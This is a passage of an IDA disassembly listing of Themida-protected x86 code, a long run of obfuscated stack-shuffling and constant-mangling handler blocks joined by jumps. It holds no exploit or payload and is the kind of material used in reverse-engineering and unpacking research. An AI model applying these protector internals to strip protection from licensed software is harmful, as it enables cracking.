		sub	eax, 3F230D1Ch
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 6
		not	eax
		xor	eax, 660413CDh
		add	eax, 209ADDD8h
		add	esi, eax
		pop	eax
		mov	ebp, esi
		pop	esi
		and	ebx, ebp
		pop	ebp
		or	ebx, ebx
		jnz	loc_54ECBD
		push	ebp
		push	edx
		push	ecx
		mov	ecx, 3EC54E6Ah
		add	dword ptr [esp+4], 253E194Fh
		push	ecx
		jmp	loc_545230
; ---------------------------------------------------------------------------


loc_549B87:				; CODE XREF: Themida_:005461FCj
		add	edx, ebp
		push	edi
		push	esi
		push	215C4633h
		pop	esi
		push	eax
		jmp	loc_54D89F
; ---------------------------------------------------------------------------


loc_549B97:				; CODE XREF: Themida_:0054EACEj
		add	edx, ebp
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54D5D5
; ---------------------------------------------------------------------------


loc_549BA9:				; CODE XREF: Themida_:00546384j
		pop	ebx
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_549BB6:				; CODE XREF: Themida_:005473B5j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	47C1h
		mov	[esp], ebx
		jmp	loc_54B8C8
; ---------------------------------------------------------------------------


loc_549BDF:				; CODE XREF: Themida_:0054FD8Dj
		not	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, 8FEBBE77h
		sub	ebp, 0C170B9Ah
		sub	ebp, ebx
		add	ebp, 0C170B9Ah
		pop	ebx
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	ecx, edi
		mov	edi, [esp]
		jmp	loc_549677
; ---------------------------------------------------------------------------


loc_549C0A:				; CODE XREF: Themida_:00545188j
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp]
		jmp	loc_54641F
; ---------------------------------------------------------------------------


loc_549C16:				; CODE XREF: Themida_:00544789j
		push	262Eh
		mov	[esp], edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_54F79F
; ---------------------------------------------------------------------------


loc_549C3D:				; CODE XREF: Themida_:005496B6j
		mov	eax, edi
		pop	edi
		jmp	loc_54BBF6
; ---------------------------------------------------------------------------


loc_549C45:				; CODE XREF: Themida_:005441AFj
		add	ebx, 4
		jmp	loc_54854F
; ---------------------------------------------------------------------------


loc_549C50:				; CODE XREF: Themida_:0054C014j
		mov	edx, edi
		pop	edi
		xor	edx, 67F952A6h
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		jmp	loc_54544B
; ---------------------------------------------------------------------------


loc_549C64:				; CODE XREF: Themida_:00547CC1j
		mov	[esp], eax
		mov	ah, bl
		jmp	loc_54D0DA
; ---------------------------------------------------------------------------


loc_549C6E:				; CODE XREF: Themida_:00548D6Fj
		pop	esi
		add	edx, 19111233h
		shl	edx, 6
		or	edx, 7DE269F4h
		push	eax
		mov	eax, 0
		jmp	near ptr dword_547124+1Ch
; ---------------------------------------------------------------------------


loc_549C89:				; CODE XREF: Themida_:0054D0DCj
		pop	eax
		mov	[edi+eax*4], cl
		jmp	loc_54D662
; ---------------------------------------------------------------------------


loc_549C92:				; CODE XREF: Themida_:0054EFA2j
		pop	eax
		dec	bl
		shl	bl, 3
		inc	bl
		xor	bl, 0CCh
		add	al, 82h
		add	al, bl
		jmp	loc_54994F
; ---------------------------------------------------------------------------


loc_549CA6:				; CODE XREF: Themida_:0054B9B6j
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_54AC5E
; ---------------------------------------------------------------------------


loc_549CB1:				; CODE XREF: Themida_:0054D73Dj
		dec	edx
		add	edx, 0B99CB7CFh
		mov	ebp, edx
		pop	edx
		push	65AEh
		mov	[esp], ebp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	ebp
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54DDD3
; ---------------------------------------------------------------------------


loc_549CD9:				; CODE XREF: Themida_:00546CC9j
		push	eax
		mov	eax, 4189560Bh
		or	eax, 77380A9Dh
		dec	eax
		not	eax
		xor	eax, 7B0807E2h
		inc	eax
		add	eax, 0CB15980h
		push	eax
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_54EB49
; ---------------------------------------------------------------------------


loc_549D0C:				; CODE XREF: Themida_:0054857Dj
		xor	al, 0F8h
		sub	al, 0F0h
		sub	esp, 2
		mov	[esp], dx
		mov	dl, 0D9h
		mov	ch, dl
		pop	dx
		sub	ch, al
		mov	eax, [esp]
		jmp	loc_546D68
; ---------------------------------------------------------------------------


loc_549D27:				; CODE XREF: Themida_:005478BEj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 48051C9Fh
		xor	eax, 33AD1077h
		add	eax, 8457F31Ch
		push	ebp
		mov	ebp, 21851303h
		and	ebp, 68961DC3h
		xor	ebp, 19FD7BA7h
		sub	edi, ebp
		pop	ebp
		add	edi, eax
		jmp	loc_546E05
; ---------------------------------------------------------------------------


loc_549D64:				; CODE XREF: Themida_:0054C0D8j
		mov	ebx, 21871240h
		add	ecx, ebx
		pop	ebx
		xor	ecx, 0ECCE90FFh
		add	ebx, ecx
		pop	ecx
		sub	ebx, esi
		push	ebp
		mov	ebp, 17445F8h
		push	ecx
		mov	ecx, 72945C7Dh
		xor	ebp, ecx
		jmp	loc_54C25B
; ---------------------------------------------------------------------------


loc_549D8A:				; CODE XREF: Themida_:0054E6D1j
		pop	ecx
		add	esp, 4
		pop	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	7BC3h
		jmp	loc_54CD87
; ---------------------------------------------------------------------------


loc_549DA5:				; CODE XREF: Themida_:005456F4j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_548AC4
; ---------------------------------------------------------------------------


loc_549DBF:				; CODE XREF: Themida_:0054B6F6j
		mov	[esp], ebx
		jmp	loc_5465EF
; ---------------------------------------------------------------------------


loc_549DC7:				; CODE XREF: Themida_:00547D0Fj
		xor	ebx, edi
		pop	edi
		push	ebp
		mov	ebp, 513B6D58h
		add	ebp, 9947E12h
		or	ebp, 51B628C2h
		inc	ebp
		neg	ebp
		xor	ebp, 9FD84FDBh
		jmp	loc_544A73
; ---------------------------------------------------------------------------


loc_549DEA:				; CODE XREF: Themida_:0054D764j
		push	0BBh
		mov	[esp], eax
		mov	eax, esp
		push	esi
		mov	esi, 77E453DCh
		xor	esi, 135B1ED8h
		add	esi, 9B40B300h
		add	eax, esi
		pop	esi
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_548F02
; ---------------------------------------------------------------------------


loc_549E16:				; CODE XREF: Themida_:0054DEF3j
		add	esp, 4
		pop	dword ptr [eax]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_549E23:				; CODE XREF: Themida_:0054A8AEj
		xor	edx, 755766F9h
		inc	edx
		jmp	loc_54F569
; ---------------------------------------------------------------------------


loc_549E2F:				; CODE XREF: Themida_:0054A2BCj
		push	edx
		mov	edx, 0C8FB9550h
		add	eax, edx
		pop	edx
		xor	esi, eax
		pop	eax
		xor	ecx, esi
		pop	esi
		push	3E09h
		mov	[esp], edi
		push	217376CDh
		jmp	loc_54467F
; ---------------------------------------------------------------------------


loc_549E50:				; CODE XREF: Themida_:0055002Cj
		pop	eax
		xchg	edi, [esp]
		pop	esp
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		jmp	loc_546D88
; ---------------------------------------------------------------------------


loc_549E7B:				; CODE XREF: Themida_:00549A86j
		sub	esp, 4
		mov	[esp], esi
		push	39B21FD9h
		mov	esi, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_54823B
; ---------------------------------------------------------------------------


loc_549E94:				; CODE XREF: Themida_:0054ABB4j
		push	32227938h
		pop	ebx
		xor	ebx, 35A338A1h
		mov	ebp, ebx
		pop	ebx
		add	ebp, 6CD81C3Eh
		neg	ebp
		jmp	loc_5463EC
; ---------------------------------------------------------------------------


loc_549EB0:				; CODE XREF: Themida_:00545A4Ej
		pop	edx
		shl	esi, 3
		add	esi, 9F530C96h
		xor	edx, esi
		pop	esi
		add	edi, edx
		pop	edx
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_545E43
; ---------------------------------------------------------------------------


loc_549ECA:				; CODE XREF: Themida_:00545286j
		sub	edx, 78A230A2h
		jmp	loc_54892D
; ---------------------------------------------------------------------------


loc_549ED5:				; CODE XREF: Themida_:00549086j
		mov	ecx, 4
		jmp	loc_54C906
; ---------------------------------------------------------------------------


loc_549EDF:				; CODE XREF: Themida_:00549669j
		pop	esp
		push	5F86h
		jmp	loc_54CF24
; ---------------------------------------------------------------------------


loc_549EEA:				; CODE XREF: Themida_:0054408Ej
		push	esi
		jmp	loc_5458BB
; ---------------------------------------------------------------------------


loc_549EF0:				; CODE XREF: Themida_:00546B6Bj
		push	ecx
		mov	ecx, 12B46D90h
		push	esi
		mov	esi, 5F785BA6h
		add	esi, 25841C58h
		shl	esi, 8
		neg	esi
		and	esi, 50FC7F33h
		push	eax
		mov	eax, 65217E04h
		shl	eax, 5
		inc	eax
		shl	eax, 2
		add	eax, 7DE00E52h
		xor	esi, eax
		pop	eax
		add	esi, 3092F091h
		and	ecx, esi
		pop	esi
		push	edi
		jmp	loc_544F6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54EAB8


loc_549F31:				; CODE XREF: sub_54EAB8+5j
		mov	ch, al
		mov	bh, ch
		pop	ecx
		pop	eax
		push	eax
		mov	al, bh
		mov	dl, al
		pop	eax
		pop	ebx
		jmp	loc_54C3A3
; END OF FUNCTION CHUNK	FOR sub_54EAB8
; ---------------------------------------------------------------------------


loc_549F43:				; CODE XREF: Themida_:005442B9j
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_54834A
; ---------------------------------------------------------------------------


loc_549F5B:				; CODE XREF: Themida_:0054CB82j
		push	ecx
		jmp	loc_54DE28
; ---------------------------------------------------------------------------


loc_549F61:				; CODE XREF: Themida_:005474EAj
		mov	esp, [esp]
		push	2175h
		jmp	loc_54CA0B
; ---------------------------------------------------------------------------


loc_549F6E:				; CODE XREF: Themida_:0054C393j
		mov	bh, 6Eh
		add	ch, bh
		pop	ebx
		xor	al, ch
		pop	ecx
		push	small 47AEh
		mov	[esp], cx
		mov	ch, 64h
		jmp	loc_54CC51
; ---------------------------------------------------------------------------


loc_549F85:				; CODE XREF: Themida_:0054507Ej
		add	eax, 13AD6EAEh
		sub	eax, ebx
		push	esi
		mov	esi, 13AD6EAEh
		jmp	loc_54D6A6
; ---------------------------------------------------------------------------


loc_549F97:				; CODE XREF: Themida_:00548285j
		push	edi
		push	edx
		jmp	loc_54A642
; ---------------------------------------------------------------------------


loc_549F9E:				; CODE XREF: Themida_:00547969j
		or	edi, 1B8C2E5Fh
		shr	edi, 2
		xor	edi, 1B4A1056h
		add	edi, 0EE024E9Dh
		push	386h
		mov	[esp], edi
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		mov	ebp, 0FD4CA599h
		xor	ebp, ebx
		jmp	loc_54A329
; ---------------------------------------------------------------------------


loc_549FD1:				; CODE XREF: Themida_:0054BB71j
		add	edx, eax
		push	edi
		mov	edi, 2D6D5601h
		not	edi
		sub	edi, 9A624888h
		jmp	loc_54CC1B
; ---------------------------------------------------------------------------


loc_549FE6:				; CODE XREF: Themida_:0054837Aj
		add	ebx, 4
		jmp	loc_54F685
; ---------------------------------------------------------------------------


loc_549FF1:				; CODE XREF: Themida_:0054A200j
		push	edx
		mov	dh, 59h
		push	ecx
		mov	cl, 63h
		xor	dh, cl
		mov	ecx, [esp]
		add	esp, 4
		sub	bl, 0D0h
		add	bl, dh
		add	bl, 0D0h
		jmp	loc_546389
; ---------------------------------------------------------------------------


loc_54A00F:				; CODE XREF: Themida_:0054D44Aj
		mov	[esp], esp
		push	ebp
		jmp	loc_54F8B6
; ---------------------------------------------------------------------------


loc_54A018:				; CODE XREF: Themida_:005440A7j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_547B0B
; ---------------------------------------------------------------------------


loc_54A02D:				; CODE XREF: Themida_:00548972j
		push	edi
		mov	edi, 101F1530h
		or	edi, 7E1910A7h
		jmp	loc_54C019
; ---------------------------------------------------------------------------


loc_54A03E:				; CODE XREF: Themida_:0054D2B0j
		shl	ebp, 7
		add	ebp, 15BD504Bh
		mov	esi, ebp
		pop	ebp
		mov	edi, 0B6062296h
		push	edx
		mov	edx, 51EF4194h
		jmp	loc_5487CA
; ---------------------------------------------------------------------------


loc_54A05A:				; CODE XREF: Themida_:0054D348j
		push	5D1Fh
		mov	[esp], ecx
		push	esi
		mov	si, 0E86h
		push	1F4Ah
		jmp	loc_545624
; ---------------------------------------------------------------------------


loc_54A071:				; CODE XREF: Themida_:0054CCD5j
		shl	ecx, 1
		jmp	loc_54CD3E
; ---------------------------------------------------------------------------


loc_54A078:				; CODE XREF: Themida_:0054D564j
		mov	edx, esp
		add	edx, 4
		push	756Ch
		jmp	loc_54C294
; ---------------------------------------------------------------------------


loc_54A08A:				; CODE XREF: Themida_:0054686Fj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	76CCh
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	eax
		jmp	loc_55006B
; ---------------------------------------------------------------------------


loc_54A0BD:				; CODE XREF: Themida_:0054545Cj
		pop	bx
		sub	al, 35h
		jmp	loc_54649E
; ---------------------------------------------------------------------------


loc_54A0C6:				; CODE XREF: Themida_:0054D480j
		movzx	eax, al
		mov	dx, [esp]
		push	3ED2h
		jmp	loc_54C49F
; ---------------------------------------------------------------------------


loc_54A0D7:				; CODE XREF: Themida_:005494EAj
		pop	eax
		jmp	loc_5456BB
; ---------------------------------------------------------------------------


loc_54A0DD:				; CODE XREF: Themida_:0054B765j
		mov	esp, [esp]
		inc	byte ptr [esp]
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54A0E9:				; CODE XREF: Themida_:0054CF90j
		or	[edi+1Ch], edx
		pop	edx
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54A0F2:				; CODE XREF: Themida_:0054840Bj
		push	2
		pop	ebx
		push	ecx
		mov	ecx, 6DA10784h
		jmp	loc_54DFD9
; ---------------------------------------------------------------------------


loc_54A103:				; CODE XREF: Themida_:00548A02j
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_545D06
; ---------------------------------------------------------------------------


loc_54A10E:				; CODE XREF: Themida_:005496F5j
		push	eax
		mov	eax, 4
		add	dword ptr [esp+4], 3BB2297Fh
		add	[esp+4], eax
		sub	dword ptr [esp+4], 3BB2297Fh
		pop	eax
		mov	edi, [esp]
		jmp	loc_54D973
; ---------------------------------------------------------------------------


loc_54A131:				; CODE XREF: Themida_:0054BF44j
		push	dword ptr [esp]
		jmp	loc_5464EF
; ---------------------------------------------------------------------------


loc_54A139:				; CODE XREF: Themida_:00549A95j
		mov	esp, [esp]
		bswap	eax
		sub	esp, 4
		jmp	loc_54F561
; ---------------------------------------------------------------------------


loc_54A146:				; CODE XREF: Themida_:005459A4j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_54AC02
; ---------------------------------------------------------------------------


loc_54A157:				; CODE XREF: Themida_:0054A8FFj
		mov	[esp], edx
		push	ebp
		mov	ebp, 12C71A36h
		jmp	loc_54D644
; ---------------------------------------------------------------------------


loc_54A165:				; CODE XREF: Themida_:0054AFEFj
		test	ecx, eax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54A16D:				; CODE XREF: Themida_:0054C30Fj
		pop	ecx
		push	esi
		mov	esi, 73673464h
		dec	esi
		jmp	loc_54FDCF
; ---------------------------------------------------------------------------


loc_54A17A:				; CODE XREF: Themida_:00545DFAj
		push	ebp
		push	37DF1097h
		pop	ebp
		shr	ebp, 5
		dec	ebp
		add	ebp, 0FE41077Fh
		mov	esi, ebp
		jmp	loc_54906F
; ---------------------------------------------------------------------------


loc_54A192:				; CODE XREF: Themida_:0054D190j
		or	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	ecx, 6
		add	ecx, 38AC873Eh
		xor	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_548CEE
; ---------------------------------------------------------------------------


loc_54A1B4:				; CODE XREF: Themida_:0054EB09j
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		push	eax
		push	3631h
		jmp	loc_546BB4
; ---------------------------------------------------------------------------


loc_54A1C5:				; CODE XREF: Themida_:0054A499j
		push	ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_54E81D
; ---------------------------------------------------------------------------


loc_54A1D9:				; CODE XREF: Themida_:0054E9B5j
		mov	edi, 27F07D68h
		neg	edi
		or	edi, 18153D6h
		shr	edi, 5
		xor	edi, 2ABB7C07h
		sub	edi, 2C770295h
		jmp	loc_54A205
; ---------------------------------------------------------------------------


loc_54A1FA:				; CODE XREF: Themida_:0054F934j
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_549FF1
; ---------------------------------------------------------------------------


loc_54A205:				; CODE XREF: Themida_:0054A1F5j
		mov	ebx, edi
		jmp	loc_5447B0
; ---------------------------------------------------------------------------


loc_54A20C:				; CODE XREF: Themida_:0054624Aj
		add	esi, 258227D9h
		add	esi, eax
		sub	esi, 258227D9h
		pop	eax
		add	esi, 4
		jmp	loc_54FA5F
; ---------------------------------------------------------------------------


loc_54A226:				; CODE XREF: Themida_:00546BC2j
		push	0C1Fh
		mov	[esp], ecx
		jmp	loc_544258
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_544022
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5462A4
; ---------------------------------------------------------------------------


loc_54A244:				; CODE XREF: Themida_:0054FEA5j
		mov	eax, esp
		add	eax, 4
		jmp	loc_54B69F
; ---------------------------------------------------------------------------


loc_54A250:				; CODE XREF: Themida_:005491D9j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_54EA3A
; ---------------------------------------------------------------------------


loc_54A261:				; CODE XREF: Themida_:005479C7j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_545DAB
; ---------------------------------------------------------------------------


loc_54A277:				; CODE XREF: Themida_:005488A7j
		mov	[esp], edi
		push	6854485h
		pop	edi
		push	eax
		push	4F586B81h
		pop	eax
		xor	edi, eax
		mov	eax, [esp]
		add	esp, 4
		mov	eax, edi
		pop	edi
		push	edx
		mov	edx, 58557EAAh
		jmp	loc_54513D
; ---------------------------------------------------------------------------


loc_54A2A0:				; CODE XREF: Themida_:0054D7BDj
		xor	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	1088h
		jmp	loc_547A98
; ---------------------------------------------------------------------------


loc_54A2B3:				; CODE XREF: Themida_:0054647Fj
		shl	eax, 4
		shl	eax, 4
		add	eax, 1
		jmp	loc_549E2F
; ---------------------------------------------------------------------------


loc_54A2C1:				; CODE XREF: Themida_:00546755j
		mov	[esp], ecx
		push	4
		jmp	loc_54658E
; ---------------------------------------------------------------------------


loc_54A2CE:				; CODE XREF: Themida_:0054799Fj
		mov	[esp], edi
		mov	edi, 0F787A27Eh
		jmp	loc_5479CC
; ---------------------------------------------------------------------------


loc_54A2DB:				; CODE XREF: Themida_:0054FFF6j
		xor	eax, ebx
		pop	ebx
		push	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 70705580h
		sub	edi, 54B55010h
		jmp	loc_546BCF
; ---------------------------------------------------------------------------


loc_54A2F8:				; CODE XREF: Themida_:0054EB4Dj
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_54E833
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_54AF2F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_54F53D
; ---------------------------------------------------------------------------


loc_54A316:				; CODE XREF: Themida_:0054DB56j
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_547ACF
; ---------------------------------------------------------------------------


loc_54A329:				; CODE XREF: Themida_:00549FCCj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	[edi+24h], ebp
		pop	ebp


loc_54A337:				; CODE XREF: Themida_:00544167j
		push	edx
		push	5CFFh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_546E50
; ---------------------------------------------------------------------------


loc_54A34D:				; CODE XREF: Themida_:0054EC2Fj
		mov	[esp], dx
		jmp	loc_5469CD
; ---------------------------------------------------------------------------


loc_54A356:				; CODE XREF: Themida_:0054F9C4j
		push	esi
		push	ebp
		mov	ebp, 0
		mov	esi, ebp
		pop	ebp
		sub	esi, edi
		xchg	esi, edi
		pop	esi
		add	edi, 0EAD6EC17h
		add	ebp, edi
		jmp	loc_549A8B
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_54ED34
; ---------------------------------------------------------------------------


loc_54A37A:				; CODE XREF: Themida_:0054BB7Cj
		sub	eax, 12FB5929h
		jmp	loc_54A600
; ---------------------------------------------------------------------------


loc_54A384:				; CODE XREF: Themida_:0054E666j
		push	edi
		mov	edi, 7B753511h
		push	eax
		jmp	loc_54FE17
; ---------------------------------------------------------------------------


loc_54A390:				; CODE XREF: Themida_:00549A39j
		sub	esp, 4
		jmp	loc_544C01
; ---------------------------------------------------------------------------


loc_54A398:				; CODE XREF: Themida_:00548757j
		add	esp, 4
		jmp	loc_54AE14
; ---------------------------------------------------------------------------


loc_54A3A3:				; CODE XREF: Themida_:0054AED0j
		xor	eax, ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		sub	ecx, ebp
		pop	ebp
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_54AD5A
; ---------------------------------------------------------------------------


loc_54A3C2:				; CODE XREF: Themida_:0054B22Cj
		pop	edx
		mov	bl, ah
		mov	ax, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_545321
; ---------------------------------------------------------------------------


loc_54A3D1:				; CODE XREF: Themida_:0054AE85j
		not	ebp
		xor	edi, ebp
		xor	ebp, edi
		xor	edi, ebp
		add	edi, 57B69547h
		sub	ebx, edi
		pop	edi
		add	ebx, eax
		push	esi
		mov	esi, 230E46A8h
		add	ebx, esi
		jmp	loc_5490ED
; ---------------------------------------------------------------------------


loc_54A3F1:				; CODE XREF: Themida_:0054AECAj
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5476B3
; ---------------------------------------------------------------------------


loc_54A402:				; CODE XREF: Themida_:0054650Aj
		push	ebp
		mov	ebp, esp
		jmp	loc_5452B6
; ---------------------------------------------------------------------------


loc_54A40A:				; CODE XREF: Themida_:00549233j
		mov	bl, 0C8h
		mov	ah, bl
		jmp	loc_54C86F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		push	1CA7h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	edi
		mov	edi, 4
		jmp	loc_5445F2
; ---------------------------------------------------------------------------


loc_54A430:				; CODE XREF: Themida_:005496D2j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 2
		sub	eax, 2EA2154h
		sub	eax, 4F9D0B08h
		add	eax, edi
		add	eax, 4F9D0B08h
		jmp	loc_54AD62
; ---------------------------------------------------------------------------


loc_54A458:				; CODE XREF: Themida_:00544C0Cj
		pop	esp
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54A462:				; CODE XREF: Themida_:0054DE09j
		pop	esp
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ecx
		push	eax
		mov	ah, 0B1h
		jmp	loc_54D585
; ---------------------------------------------------------------------------


loc_54A47E:				; CODE XREF: Themida_:0054A7DCj
		add	ebx, 5A800E31h
		add	ebx, ecx
		sub	ebx, 5A800E31h
		sub	ebx, 19663C05h
		pop	ecx
		sub	ebx, 4
		jmp	loc_54A1C5
; ---------------------------------------------------------------------------


loc_54A49E:				; CODE XREF: Themida_:00548F51j
		sub	ebp, 50855D33h
		pop	edx
		push	edi
		mov	edi, 2
		add	ebp, edi
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_54CD11
; ---------------------------------------------------------------------------


loc_54A4BE:				; CODE XREF: Themida_:0054E805j
		sub	esi, 0FFFFFFFFh
		jmp	loc_54BAAF
; ---------------------------------------------------------------------------


loc_54A4C9:				; CODE XREF: Themida_:0054E5D3j
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		push	edi
		mov	edi, 15F2086Eh
		shr	edi, 5
		add	edi, 563C0E74h
		push	ebp
		push	edi
		mov	edi, 1C6937D5h
		mov	ebp, 7354D688h
		sub	ebp, edi
		pop	edi
		xor	edi, ebp
		pop	ebp
		add	eax, edi
		jmp	loc_54C0DD
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_549043
; ---------------------------------------------------------------------------


loc_54A504:				; CODE XREF: Themida_:00548333j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54A509:				; CODE XREF: Themida_:0054F471j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xchg	ecx, [esp]
		mov	esp, [esp]
		idiv	ecx
		push	79Fh
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54A52D:				; CODE XREF: Themida_:005498B2j
		add	dword ptr [esp], 50E45217h
		jmp	loc_54C4C4
; ---------------------------------------------------------------------------


loc_54A539:				; CODE XREF: Themida_:00548AD6j
		pop	esp
		pop	small word ptr [esp]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54A543:				; CODE XREF: Themida_:0054F8E7j
		sub	eax, 62C274B4h
		sub	eax, ecx
		push	edi
		mov	edi, 0C75254Dh
		add	edi, 51065C95h
		shr	edi, 2
		and	edi, 74CA14F0h
		sub	edi, 6C8346BDh
		or	edi, 2EDB1B7Eh
		add	edi, 0B2E2B8B5h
		jmp	loc_54E47D
; ---------------------------------------------------------------------------


loc_54A576:				; CODE XREF: Themida_:005471C7j
		pop	ecx
		jmp	loc_54AF62
; ---------------------------------------------------------------------------


loc_54A57C:				; CODE XREF: Themida_:00549AE4j
		pop	esp
		add	esi, 4
		push	ebp
		push	eax
		mov	eax, 46B85EA1h
		shr	eax, 6
		shr	eax, 5
		shr	eax, 8
		jmp	loc_54F217
; ---------------------------------------------------------------------------


loc_54A598:				; CODE XREF: Themida_:0054EFF1j
		push	edx
		jmp	loc_54B262
; ---------------------------------------------------------------------------


loc_54A59E:				; CODE XREF: Themida_:00544F87j
		mov	[esp], edx
		mov	edx, 0E9DA4EC3h
		add	ecx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_544964
; ---------------------------------------------------------------------------


loc_54A5B7:				; CODE XREF: Themida_:0054D086j
		inc	esi
		push	ebx
		mov	ebx, 447C796Ah
		jmp	loc_54847A
; ---------------------------------------------------------------------------


loc_54A5C3:				; CODE XREF: Themida_:0054FD5Cj
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_54E546
; ---------------------------------------------------------------------------


loc_54A5D2:				; CODE XREF: Themida_:00547FAAj
		add	ecx, esi
		jmp	loc_54AD9C
; ---------------------------------------------------------------------------


loc_54A5D9:				; CODE XREF: Themida_:0054EAB3j
		push	edx
		mov	edx, 0
		jmp	loc_548C37
; ---------------------------------------------------------------------------


loc_54A5E4:				; CODE XREF: Themida_:00547D82j
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54EC3D
; ---------------------------------------------------------------------------


loc_54A600:				; CODE XREF: Themida_:0054A37Fj
		sub	eax, 152B4FE6h
		add	eax, ebx
		add	eax, 152B4FE6h
		add	eax, 12FB5929h
		pop	ebx
		push	ebp
		mov	ebp, 26C1039h
		sub	ebp, 5E406E2Dh
		neg	ebp
		or	ebp, 1B3A4D74h
		add	ebp, 49442F84h
		shr	ebp, 3
		sub	ebp, 14A851ADh
		add	eax, ebp
		jmp	loc_546DEE
; ---------------------------------------------------------------------------


loc_54A63C:				; CODE XREF: Themida_:005463E7j
		pop	eax
		jmp	loc_5466E6
; ---------------------------------------------------------------------------


loc_54A642:				; CODE XREF: Themida_:00549F99j
		push	ebp
		mov	ebp, ecx
		jmp	loc_548221
; ---------------------------------------------------------------------------


